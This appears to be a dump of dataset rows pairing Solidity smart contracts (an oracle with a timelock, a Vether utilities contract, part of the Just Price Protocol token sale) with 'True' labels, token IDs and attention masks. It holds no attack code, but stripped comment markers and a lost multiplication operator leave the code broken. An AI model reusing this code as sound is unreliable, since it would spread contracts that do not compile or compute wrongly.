(period * DIVISION_FACTOR / (_reethPriceWindow + period)) / DIVISION_FACTOR); _reethPriceWindow = period; // Set the window to the new period } } // Governance function governanceChangeFrequency(uint256 _freq) external onlyGovernance { updateFrequency = _freq; } // Timelock variables uint256 private _timelockStart; // The start of the timelock to change governance variables uint256 private _timelockType; // The function that needs to be changed uint256 constant TIMELOCK_DURATION = 86400; // Timelock is 24 hours // Reusable timelock variables address private _timelock_address; uint256 private _timelock_data; modifier timelockConditionsMet(uint256 _type) { require(_timelockType == _type, "Timelock not acquired for this function"); _timelockType = 0; // Reset the type once the timelock is used require(now >= _timelockStart + TIMELOCK_DURATION, "Timelock time not met"); _; } // Change the owner of the token contract // -------------------- function startGovernanceChange(address _address) external onlyGovernance { _timelockStart = now; _timelockType = 1; _timelock_address = _address; } function finishGovernanceChange() external onlyGovernance timelockConditionsMet(1) { owner = _timelock_address; } // -------------------- // Update main liquidity token pair // -------------------- function startUpdateLiquidityToken(address _address, uint256 _index) external onlyGovernance { _timelockStart = now; _timelockType = 2; _timelock_address = _address; _timelock_data = _index; if(mainLiquidity == address(0)){ changeLiquidityToken(_address, _index); _timelockType = 0; } } function finishUpdateLiquidityToken() external onlyGovernance timelockConditionsMet(2) { changeLiquidityToken(_timelock_address, _timelock_data); } // -------------------- }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5718, 1011, 6185, 1008, 1013, 1013, 1013, 3976, 14721, 2005, 2128, 11031, 19204, 1013, 1013, 2023, 3206, 3594, 4895, 2483, 4213, 2361, 1058, 2475, 1056, 4213, 2361, 2000, 6855, 1996, 19204, 3976, 1013, 1013, 2009, 3322, 3594, 2184, 3371, 20185, 2021, 2064, 2022, 7172, 2006, 1996, 4875, 2011, 10615, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1020, 1012, 1020, 1025, 8278, 4895, 2483, 4213, 2361, 2615, 2475, 4502, 4313, 1063, 3853, 3976, 2692, 24894, 7068, 6024, 8523, 2102, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 3976, 2487, 24894, 7068, 6024, 8523, 2102, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 2131, 6072, 2121, 6961, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 14526, 2475, 1010, 21318, 3372, 14526, 2475, 1010, 21318, 3372, 16703, 1007, 1025, 1065, 3206, 2128, 11031, 18098, 6610, 6525, 14321, 1063, 4769, 2270, 3954, 1025, 22017, 2140, 2797, 1035, 2034, 17695, 11244, 1027, 2995, 1025, 21318, 3372, 17788, 2575, 2797, 1035, 2128, 11031, 3207, 6895, 9067, 2015, 1027, 2324, 1025, 1013, 1013, 2168, 2004, 8038, 2213, 21318, 3372, 17788, 2575, 2797, 1035, 2128, 11031, 11031, 18098, 6610, 1027, 1014, 1025, 21318, 3372, 17788, 2575, 2797, 1035, 2128, 11031, 18098, 6610, 11101, 5004, 1027, 1014, 1025, 1013, 1013, 1996, 2051, 2558, 2023, 3976, 2001, 10174, 2058, 1010, 16463, 2049, 3635, 21318, 3372, 17788, 2575, 2797, 1035, 19204, 22254, 10288, 1027, 1014, 1025, 21318, 3372, 17788, 2575, 2270, 2197, 9910, 2705, 18098, 6610, 6279, 13701, 1025, 1013, 1013, 1996, 2197, 2051, 1996, 3976, 2001, 7172, 21318, 3372, 17788, 2575, 2270, 10651, 19699, 2063, 4226, 9407, 1027, 2184, 2781, 1025, 1013, 1013, 14721, 2064, 2022, 7172, 2012, 2560, 2296, 2184, 2781, 21318, 3372, 17788, 2575, 5377, 2407, 1035, 5387, 1027, 6694, 8889, 1025, 1013, 1013, 1056, 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25469, 18715, 2368, 1006, 4769, 1035, 6948, 1010, 21318, 3372, 17788, 2575, 1035, 13433, 2015, 1007, 4722, 1063, 2364, 3669, 15549, 25469, 1027, 1035, 6948, 1025, 1035, 19204, 22254, 10288, 1027, 1035, 13433, 2015, 1025, 1035, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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// SPDX-License-Identifier: UNLICENSED pragma solidity 0.6.8; pragma experimental ABIEncoderV2; interface iERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint); function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); } interface iROUTER { function totalStaked() external view returns (uint); function totalVolume() external view returns (uint); function totalFees() external view returns (uint); function unstakeTx() external view returns (uint); function stakeTx() external view returns (uint); function swapTx() external view returns (uint); function tokenCount() external view returns(uint); function getToken(uint) external view returns(address); function getPool(address) external view returns(address payable); function stakeForMember(uint inputBase, uint inputToken, address token, address member) external payable returns (uint units); } interface iPOOL { function genesis() external view returns(uint); function baseAmt() external view returns(uint); function tokenAmt() external view returns(uint); function baseAmtStaked() external view returns(uint); function tokenAmtStaked() external view returns(uint); function fees() external view returns(uint); function volume() external view returns(uint); function txCount() external view returns(uint); function getBaseAmtStaked(address) external view returns(uint); function getTokenAmtStaked(address) external view returns(uint); function calcValueInBase(uint) external view returns (uint); function calcValueInToken(uint) external view returns (uint); function calcTokenPPinBase(uint) external view returns (uint); function calcBasePPinToken(uint) external view returns (uint); } interface iDAO { function ROUTER() external view returns(address); } // SafeMath library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Utils_Vether { using SafeMath for uint; address public BASE; address public DEPLOYER; iDAO public DAO; struct TokenDetails { string name; string symbol; uint decimals; uint totalSupply; uint balance; address tokenAddress; } struct ListedAssetDetails { string name; string symbol; uint decimals; uint totalSupply; uint balance; address tokenAddress; bool hasClaimed; } struct GlobalDetails { uint totalStaked; uint totalVolume; uint totalFees; uint unstakeTx; uint stakeTx; uint swapTx; } struct PoolDataStruct { address tokenAddress; address poolAddress; uint genesis; uint baseAmt; uint tokenAmt; uint baseAmtStaked; uint tokenAmtStaked; uint fees; uint volume; uint txCount; uint poolUnits; } // Only Deployer can execute modifier onlyDeployer() { require(msg.sender == DEPLOYER, "DeployerErr"); _; } constructor () public payable { BASE = 0x4Ba6dDd7b89ed838FEd25d208D4f644106E34279; DEPLOYER = msg.sender; } function setGenesisDao(address dao) public onlyDeployer { DAO = iDAO(dao); } //====================================DATA-HELPERS====================================// function getTokenDetails(address token) public view returns (TokenDetails memory tokenDetails){ return getTokenDetailsWithMember(token, msg.sender); } function getTokenDetailsWithMember(address token, address member) public view returns (TokenDetails memory tokenDetails){ if(token == address(0)){ tokenDetails.name = 'Ethereum'; tokenDetails.symbol = 'ETH'; tokenDetails.decimals = 18; tokenDetails.totalSupply = 100000000 * 10*18; tokenDetails.balance = msg.sender.balance; } else { tokenDetails.name = iERC20(token).name(); tokenDetails.symbol = iERC20(token).symbol(); tokenDetails.decimals = iERC20(token).decimals(); tokenDetails.totalSupply = iERC20(token).totalSupply(); tokenDetails.balance = iERC20(token).balanceOf(member); } tokenDetails.tokenAddress = token; return tokenDetails; } function getGlobalDetails() public view returns (GlobalDetails memory globalDetails){ globalDetails.totalStaked = iROUTER(DAO.ROUTER()).totalStaked(); globalDetails.totalVolume = iROUTER(DAO.ROUTER()).totalVolume(); globalDetails.totalFees = iROUTER(DAO.ROUTER()).totalFees(); globalDetails.unstakeTx = iROUTER(DAO.ROUTER()).unstakeTx(); globalDetails.stakeTx = iROUTER(DAO.ROUTER()).stakeTx(); globalDetails.swapTx = iROUTER(DAO.ROUTER()).swapTx(); return globalDetails; } function getPool(address token) public view returns(address payable pool){ return iROUTER(DAO.ROUTER()).getPool(token); } function tokenCount() public view returns (uint256 count){ return iROUTER(DAO.ROUTER()).tokenCount(); } function allTokens() public view returns (address[] memory _allTokens){ return tokensInRange(0, iROUTER(DAO.ROUTER()).tokenCount()) ; } function tokensInRange(uint start, uint count) public view returns (address[] memory someTokens){ if(start.add(count) > tokenCount()){ count = tokenCount().sub(start); } address[] memory result = new address[](count); for (uint i = 0; i < count; i++){ result[i] = iROUTER(DAO.ROUTER()).getToken(i); } return result; } function allPools() public view returns (address[] memory _allPools){ return poolsInRange(0, tokenCount()); } function poolsInRange(uint start, uint count) public view returns (address[] memory somePools){ if(start.add(count) > tokenCount()){ count = tokenCount().sub(start); } address[] memory result = new address[](count); for (uint i = 0; i<count; i++){ result[i] = getPool(iROUTER(DAO.ROUTER()).getToken(i)); } return result; } function getPoolData(address token) public view returns(PoolDataStruct memory poolData){ address payable pool = getPool(token); poolData.poolAddress = pool; poolData.tokenAddress = token; poolData.genesis = iPOOL(pool).genesis(); poolData.baseAmt = iPOOL(pool).baseAmt(); poolData.tokenAmt = iPOOL(pool).tokenAmt(); poolData.baseAmtStaked = iPOOL(pool).baseAmtStaked(); poolData.tokenAmtStaked = iPOOL(pool).tokenAmtStaked(); poolData.fees = iPOOL(pool).fees(); poolData.volume = iPOOL(pool).volume(); poolData.txCount = iPOOL(pool).txCount(); poolData.poolUnits = iERC20(pool).totalSupply(); return poolData; } function getMemberShare(address token, address member) public view returns(uint baseAmt, uint tokenAmt){ address pool = getPool(token); uint units = iERC20(pool).balanceOf(member); return getPoolShare(token, units); } function getPoolShare(address token, uint units) public view returns(uint baseAmt, uint tokenAmt){ address payable pool = getPool(token); baseAmt = calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).baseAmt()); tokenAmt = calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).tokenAmt()); return (baseAmt, tokenAmt); } function getShareOfBaseAmount(address token, address member) public view returns(uint baseAmt){ address payable pool = getPool(token); uint units = iERC20(pool).balanceOf(member); return calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).baseAmt()); } function getShareOfTokenAmount(address token, address member) public view returns(uint baseAmt){ address payable pool = getPool(token); uint units = iERC20(pool).balanceOf(member); return calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).tokenAmt()); } function getPoolShareAssym(address token, uint units, bool toBase) public view returns(uint baseAmt, uint tokenAmt, uint outputAmt){ address payable pool = getPool(token); if(toBase){ baseAmt = calcAsymmetricShare(units, iERC20(pool).totalSupply(), iPOOL(pool).baseAmt()); tokenAmt = 0; outputAmt = baseAmt; } else { baseAmt = 0; tokenAmt = calcAsymmetricShare(units, iERC20(pool).totalSupply(), iPOOL(pool).tokenAmt()); outputAmt = tokenAmt; } return (baseAmt, tokenAmt, outputAmt); } function getPoolAge(address token) public view returns (uint daysSinceGenesis){ address payable pool = getPool(token); uint genesis = iPOOL(pool).genesis(); if(now < genesis.add(86400)){ return 1; } else { return (now.sub(genesis)).div(86400); } } function getPoolROI(address token) public view returns (uint roi){ address payable pool = getPool(token); uint _baseStart = iPOOL(pool).baseAmtStaked().mul(2); uint _baseEnd = iPOOL(pool).baseAmt().mul(2); uint _ROIS = (_baseEnd.mul(10000)).div(_baseStart); uint _tokenStart = iPOOL(pool).tokenAmtStaked().mul(2); uint _tokenEnd = iPOOL(pool).tokenAmt().mul(2); uint _ROIA = (_tokenEnd.mul(10000)).div(_tokenStart); return (_ROIS + _ROIA).div(2); } function getPoolAPY(address token) public view returns (uint apy){ uint avgROI = getPoolROI(token); uint poolAge = getPoolAge(token); return (avgROI.mul(365)).div(poolAge); } function isMember(address token, address member) public view returns(bool){ address payable pool = getPool(token); if (iERC20(pool).balanceOf(member) > 0){ return true; } else { return false; } } //====================================PRICING====================================// function calcValueInBase(address token, uint amount) public view returns (uint value){ address payable pool = getPool(token); return calcValueInBaseWithPool(pool, amount); } function calcValueInToken(address token, uint amount) public view returns (uint value){ address payable pool = getPool(token); return calcValueInTokenWithPool(pool, amount); } function calcTokenPPinBase(address token, uint amount) public view returns (uint _output){ address payable pool = getPool(token); return calcTokenPPinBaseWithPool(pool, amount); } function calcBasePPinToken(address token, uint amount) public view returns (uint _output){ address payable pool = getPool(token); return calcValueInBaseWithPool(pool, amount); } function calcValueInBaseWithPool(address payable pool, uint amount) public view returns (uint value){ uint _baseAmt = iPOOL(pool).baseAmt(); uint _tokenAmt = iPOOL(pool).tokenAmt(); return (amount.mul(_baseAmt)).div(_tokenAmt); } function calcValueInTokenWithPool(address payable pool, uint amount) public view returns (uint value){ uint _baseAmt = iPOOL(pool).baseAmt(); uint _tokenAmt = iPOOL(pool).tokenAmt(); return (amount.mul(_tokenAmt)).div(_baseAmt); } function calcTokenPPinBaseWithPool(address payable pool, uint amount) public view returns (uint _output){ uint _baseAmt = iPOOL(pool).baseAmt(); uint _tokenAmt = iPOOL(pool).tokenAmt(); return calcSwapOutput(amount, _tokenAmt, _baseAmt); } function calcBasePPinTokenWithPool(address payable pool, uint amount) public view returns (uint _output){ uint _baseAmt = iPOOL(pool).baseAmt(); uint _tokenAmt = iPOOL(pool).tokenAmt(); return calcSwapOutput(amount, _baseAmt, _tokenAmt); } //====================================CORE-MATH====================================// function calcPart(uint bp, uint total) public pure returns (uint part){ // 10,000 basis points = 100.00% require((bp <= 10000) && (bp > 0), "Must be correct BP"); return calcShare(bp, 10000, total); } function calcShare(uint part, uint total, uint amount) public pure returns (uint share){ // share = amount part/total return(amount.mul(part)).div(total); } function calcSwapOutput(uint x, uint X, uint Y) public pure returns (uint output){ // y = (x * X * Y )/(x + X)^2 uint numerator = x.mul(X.mul(Y)); uint denominator = (x.add(X)).mul(x.add(X)); return numerator.div(denominator); } function calcSwapFee(uint x, uint X, uint Y) public pure returns (uint output){ // y = (x * x * Y) / (x + X)^2 uint numerator = x.mul(x.mul(Y)); uint denominator = (x.add(X)).mul(x.add(X)); return numerator.div(denominator); } function calcStakeUnits(uint b, uint B, uint t, uint T) public pure returns (uint units){ // units = ((T + B) * (t * B + T * b))/(4 * T * B) // (part1 * (part2 + part3)) / part4 uint part1 = T.add(B); uint part2 = t.mul(B); uint part3 = T.mul(b); uint numerator = part1.mul((part2.add(part3))); uint part4 = 4 * (T.mul(B)); return numerator.div(part4); } function calcAsymmetricShare(uint u, uint U, uint A) public pure returns (uint share){ // share = (u * U * (2 * A^2 - 2 * U * u + U^2))/U^3 // (part1 * (part2 - part3 + part4)) / part5 uint part1 = u.mul(A); uint part2 = U.mul(U).mul(2); uint part3 = U.mul(u).mul(2); uint part4 = u.mul(u); uint numerator = part1.mul(part2.sub(part3).add(part4)); uint part5 = U.mul(U).mul(U); return numerator.div(part5); } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 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/* * Just Price Protocol Smart Contract. * Copyright © 2018 by ABDK Consulting. * Author: Mikhail Vladimirov <<span class="__cf_email__" data-cfemail="d3bebab8bbb2babffda5bfb2b7babebaa1bca593b4beb2babffdb0bcbe">[email protected]</span>> / pragma solidity ^0.4.20; //import "./SafeMath.sol"; //import "./OrgonToken.sol"; //import "./OrisSpace.sol"; contract SafeMath { uint256 constant private MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; /* * Add two uint256 values, throw in case of overflow. * * @param x first value to add * @param y second value to add * @return x + y / function safeAdd (uint256 x, uint256 y) pure internal returns (uint256 z) { assert (x <= MAX_UINT256 - y); return x + y; } /* * Subtract one uint256 value from another, throw in case of underflow. * * @param x value to subtract from * @param y value to subtract * @return x - y / function safeSub (uint256 x, uint256 y) pure internal returns (uint256 z) { assert (x >= y); return x - y; } /* * Multiply two uint256 values, throw in case of overflow. * * @param x first value to multiply * @param y second value to multiply * @return x * y / function safeMul (uint256 x, uint256 y) pure internal returns (uint256 z) { if (y == 0) return 0; // Prevent division by zero at the next line assert (x <= MAX_UINT256 / y); return x y; } } contract Token { /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation / function totalSupply () public view returns (uint256 supply); /* * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address / function balanceOf (address _owner) public view returns (uint256 balance); /* * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise / function transfer (address _to, uint256 _value) public returns (bool success); /* * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise / function transferFrom (address _from, address _to, uint256 _value) public returns (bool success); /* * Allow given spender to transfer given number of tokens from message sender. * * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise / function approve (address _spender, uint256 _value) public returns (bool success); /* * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner / function allowance (address _owner, address _spender) public view returns (uint256 remaining); /* * Logged when tokens were transferred from one owner to another. * * @param _from address of the owner, tokens were transferred from * @param _to address of the owner, tokens were transferred to * @param _value number of tokens transferred / event Transfer (address indexed _from, address indexed _to, uint256 _value); /* * Logged when owner approved his tokens to be transferred by some spender. * * @param _owner owner who approved his tokens to be transferred * @param _spender spender who were allowed to transfer the tokens belonging * to the owner * @param _value number of tokens belonging to the owner, approved to be * transferred by the spender / event Approval ( address indexed _owner, address indexed _spender, uint256 _value); } contract OrisSpace { /* * Start Oris Space smart contract. * * @param _returnAmount amount of tokens to return to message sender. / function start (uint256 _returnAmount) public; } contract OrgonToken is Token { /* * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise / function createTokens (uint256 _value) public returns (bool); /* * Burn given number of tokens belonging to message sender. * May only be called by smart contract owner. * * @param _value number of tokens to burn * @return true on success, false on error / function burnTokens (uint256 _value) public returns (bool); } /* * Just Price Protocol Smart Contract that serves as market maker for Orgon * tokens. / contract JustPriceProtocol is SafeMath { /* * 2^128. / uint256 internal constant TWO_128 = 0x100000000000000000000000000000000; /* * Sale start time (2018-04-19 06:00:00 UTC) / uint256 internal constant SALE_START_TIME = 1524117600; /* * "Reserve" stage deadline (2018-07-08 00:00:00 UTC) / uint256 internal constant RESERVE_DEADLINE = 1531008000; /* * Maximum amount to be collected during "reserve" stage. / uint256 internal constant RESERVE_MAX_AMOUNT = 72500 ether; /* * Minimum amount to be collected during "reserve" stage. / uint256 internal constant RESERVE_MIN_AMOUNT = 30000 ether; /* * Maximum number of tokens to be sold during "reserve" stage. / uint256 internal constant RESERVE_MAX_TOKENS = 82881476.72e9; /* * ORNG/ETH ratio after "reserve" stage in Wei per ORGN unit. / uint256 internal constant RESERVE_RATIO = 72500 ether / 725000000e9; /* * Maximum amount of ETH to collect at price 1. / uint256 internal constant RESERVE_THRESHOLD_1 = 10000 ether; /* * Price 1 in Wei per ORGN unit. / uint256 internal constant RESERVE_PRICE_1 = 0.00080 ether / 1e9; /* * Maximum amount of ETH to collect at price 2. / uint256 internal constant RESERVE_THRESHOLD_2 = 20000 ether; /* * Price 2 in Wei per ORGN unit. / uint256 internal constant RESERVE_PRICE_2 = 0.00082 ether / 1e9; /* * Maximum amount of ETH to collect at price 3. / uint256 internal constant RESERVE_THRESHOLD_3 = 30000 ether; /* * Price 3 in Wei per ORGN unit. / uint256 internal constant RESERVE_PRICE_3 = 0.00085 ether / 1e9; /* * Maximum amount of ETH to collect at price 4. / uint256 internal constant RESERVE_THRESHOLD_4 = 40000 ether; /* * Price 4 in Wei per ORGN unit. / uint256 internal constant RESERVE_PRICE_4 = 0.00088 ether / 1e9; /* * Maximum amount of ETH to collect at price 5. / uint256 internal constant RESERVE_THRESHOLD_5 = 50000 ether; /* * Price 5 in Wei per ORGN unit. / uint256 internal constant RESERVE_PRICE_5 = 0.00090 ether / 1e9; /* * Maximum amount of ETH to collect at price 6. / uint256 internal constant RESERVE_THRESHOLD_6 = 60000 ether; /* * Price 6 in Wei per ORGN unit. / uint256 internal constant RESERVE_PRICE_6 = 0.00092 ether / 1e9; /* * Maximum amount of ETH to collect at price 7. / uint256 internal constant RESERVE_THRESHOLD_7 = 70000 ether; /* * Price 7 in Wei per ORGN unit. / uint256 internal constant RESERVE_PRICE_7 = 0.00095 ether / 1e9; /* * Maximum amount of ETH to collect at price 8. / uint256 internal constant RESERVE_THRESHOLD_8 = 72500 ether; /* * Price 8 in Wei per ORGN unit. / uint256 internal constant RESERVE_PRICE_8 = 0.00098 ether / 1e9; /* * "Growth" stage ends once this many tokens were issued. / uint256 internal constant GROWTH_MAX_TOKENS = 1000000000e9; /* * Maximum duration of "growth" stage. / uint256 internal constant GROWTH_MAX_DURATION = 285 days; /* * Numerator of fraction of tokens bought at "reserve" stage to be delivered * before "growth" stage start. / uint256 internal constant GROWTH_MIN_DELIVERED_NUMERATOR = 75; /* * Denominator of fraction of tokens bought at "reserve" stage to be delivered * before "growth" stage start. / uint256 internal constant GROWTH_MIN_DELIVERED_DENOMINATIOR = 100; /* * Numerator of fraction of total votes to be given to a new K1 address for * vote to succeed. / uint256 internal constant REQUIRED_VOTES_NUMERATIOR = 51; /* * Denominator of fraction of total votes to be given to a new K1 address for * vote to succeed. / uint256 internal constant REQUIRED_VOTES_DENOMINATOR = 100; /* * Fee denominator (1 / 20000 = 0.00005). / uint256 internal constant FEE_DENOMINATOR = 20000; /* * Delay after start of "growth" stage before fee may be changed. / uint256 internal constant FEE_CHANGE_DELAY = 650 days; /* * Minimum fee (1 / 20000 = 0.0005). / uint256 internal constant MIN_FEE = 1; /* * Maximum fee (2000 / 20000 = 0.1). / uint256 internal constant MAX_FEE = 2000; /* * Deploy Just Price Protocol smart contract with given Orgon Token, * Oris Space, and K1 wallet. * * @param _orgonToken Orgon Token to use * @param _orisSpace Oris Space to use * @param _k1 address of K1 wallet / function JustPriceProtocol ( OrgonToken _orgonToken, OrisSpace _orisSpace, address _k1) public { orgonToken = _orgonToken; orisSpace = _orisSpace; k1 = _k1; } /* * When called with no data does the same as buyTokens (). / function () public payable { require (msg.data.length == 0); buyTokens (); } /* * Buy tokens. / function buyTokens () public payable { require (msg.value > 0); updateStage (); if (stage == Stage.RESERVE) buyTokensReserve (); else if (stage == Stage.GROWTH \|\| stage == Stage.LIFE) buyTokensGrowthLife (); else revert (); // No buying in current stage } /* * Sell tokens. * * @param _value number of tokens to sell / function sellTokens (uint256 _value) public { require (_value > 0); require (_value < TWO_128); updateStage (); require (stage == Stage.LIFE); assert (reserveAmount < TWO_128); uint256 totalSupply = orgonToken.totalSupply (); require (totalSupply < TWO_128); require (_value <= totalSupply); uint256 toPay = safeMul ( reserveAmount, safeSub ( TWO_128, pow_10 (safeSub (TWO_128, (_value << 128) / totalSupply)))) >> 128; require (orgonToken.transferFrom (msg.sender, this, _value)); require (orgonToken.burnTokens (_value)); reserveAmount = safeSub (reserveAmount, toPay); msg.sender.transfer (toPay); } /* * Deliver tokens sold during "reserve" stage to corresponding investors. * * @param _investors addresses of investors to deliver tokens to / function deliver (address [] _investors) public { updateStage (); require ( stage == Stage.BEFORE_GROWTH \|\| stage == Stage.GROWTH \|\| stage == Stage.LIFE); for (uint256 i = 0; i < _investors.length; i++) { address investorAddress = _investors [i]; Investor storage investor = investors [investorAddress]; uint256 toDeliver = investor.tokensBought; investor.tokensBought = 0; investor.etherInvested = 0; if (toDeliver > 0) { require (orgonToken.transfer (investorAddress, toDeliver)); reserveTokensDelivered = safeAdd (reserveTokensDelivered, toDeliver); Delivery (investorAddress, toDeliver); } } if (stage == Stage.BEFORE_GROWTH && safeMul (reserveTokensDelivered, GROWTH_MIN_DELIVERED_DENOMINATIOR) >= safeMul (reserveTokensSold, GROWTH_MIN_DELIVERED_NUMERATOR)) { stage = Stage.GROWTH; growthDeadline = currentTime () + GROWTH_MAX_DURATION; feeChangeEnableTime = currentTime () + FEE_CHANGE_DELAY; } } /* * Refund investors who bought tokens during "reserve" stage. * * @param _investors addresses of investors to refund / function refund (address [] _investors) public { updateStage (); require (stage == Stage.REFUND); for (uint256 i = 0; i < _investors.length; i++) { address investorAddress = _investors [i]; Investor storage investor = investors [investorAddress]; uint256 toBurn = investor.tokensBought; uint256 toRefund = investor.etherInvested; investor.tokensBought = 0; investor.etherInvested = 0; if (toBurn > 0) require (orgonToken.burnTokens (toBurn)); if (toRefund > 0) { investorAddress.transfer (toRefund); Refund (investorAddress, toRefund); } } } function vote (address _newK1) public { updateStage (); require (stage == Stage.LIFE); require (!k1Changed); uint256 votesCount = voteNumbers [msg.sender]; if (votesCount > 0) { address oldK1 = votes [msg.sender]; if (_newK1 != oldK1) { if (oldK1 != address (0)) { voteResults [oldK1] = safeSub (voteResults [oldK1], votesCount); VoteRevocation (msg.sender, oldK1, votesCount); } votes [msg.sender] = _newK1; if (_newK1 != address (0)) { voteResults [_newK1] = safeAdd (voteResults [_newK1], votesCount); Vote (msg.sender, _newK1, votesCount); if (safeMul (voteResults [_newK1], REQUIRED_VOTES_DENOMINATOR) >= safeMul (totalVotesNumber, REQUIRED_VOTES_NUMERATIOR)) { k1 = _newK1; k1Changed = true; K1Change (_newK1); } } } } } /* * Set new fee numerator. * * @param _fee new fee numerator. / function setFee (uint256 _fee) public { require (msg.sender == k1); require (_fee >= MIN_FEE); require (_fee <= MAX_FEE); updateStage (); require (stage == Stage.GROWTH \|\| stage == Stage.LIFE); require (currentTime () >= feeChangeEnableTime); require (safeSub (_fee, 1) <= fee); require (safeAdd (_fee, 1) >= fee); if (fee != _fee) { fee = _fee; FeeChange (_fee); } } /* * Get number of tokens bought by given investor during reserve stage that are * not yet delivered to him. * * @param _investor address of investor to get number of outstanding tokens * for * @return number of non-delivered tokens given investor bought during reserve * stage / function outstandingTokens (address _investor) public view returns (uint256) { return investors [_investor].tokensBought; } /* * Get current stage of Just Price Protocol. * * @param _currentTime current time in seconds since epoch * @return current stage of Just Price Protocol / function getStage (uint256 _currentTime) public view returns (Stage) { Stage currentStage = stage; if (currentStage == Stage.BEFORE_RESERVE) { if (_currentTime >= SALE_START_TIME) currentStage = Stage.RESERVE; else return currentStage; } if (currentStage == Stage.RESERVE) { if (_currentTime >= RESERVE_DEADLINE) { if (reserveAmount >= RESERVE_MIN_AMOUNT) currentStage = Stage.BEFORE_GROWTH; else currentStage = Stage.REFUND; } return currentStage; } if (currentStage == Stage.GROWTH) { if (_currentTime >= growthDeadline) { currentStage = Stage.LIFE; } } return currentStage; } /* * Return total number of votes eligible for choosing new K1 address. * * @return total number of votes eligible for choosing new K1 address / function totalEligibleVotes () public view returns (uint256) { return totalVotesNumber; } /* * Return number of votes eligible for choosing new K1 address given investor * has. * * @param _investor address of investor to get number of eligible votes of * @return Number of eligible votes given investor has / function eligibleVotes (address _investor) public view returns (uint256) { return voteNumbers [_investor]; } /* * Get number of votes for the given new K1 address. * * @param _newK1 new K1 address to get number of votes for * @return number of votes for the given new K1 address / function votesFor (address _newK1) public view returns (uint256) { return voteResults [_newK1]; } /* * Buy tokens during "reserve" stage. / function buyTokensReserve () internal { require (stage == Stage.RESERVE); uint256 toBuy = 0; uint256 toRefund = msg.value; uint256 etherInvested = 0; uint256 tokens; uint256 tokensValue; if (reserveAmount < RESERVE_THRESHOLD_1) { tokens = min ( toRefund, safeSub (RESERVE_THRESHOLD_1, reserveAmount)) / RESERVE_PRICE_1; if (tokens > 0) { tokensValue = safeMul (tokens, RESERVE_PRICE_1); toBuy = safeAdd (toBuy, tokens); toRefund = safeSub (toRefund, tokensValue); etherInvested = safeAdd (etherInvested, tokensValue); reserveAmount = safeAdd (reserveAmount, tokensValue); } } if (reserveAmount < RESERVE_THRESHOLD_2) { tokens = min ( 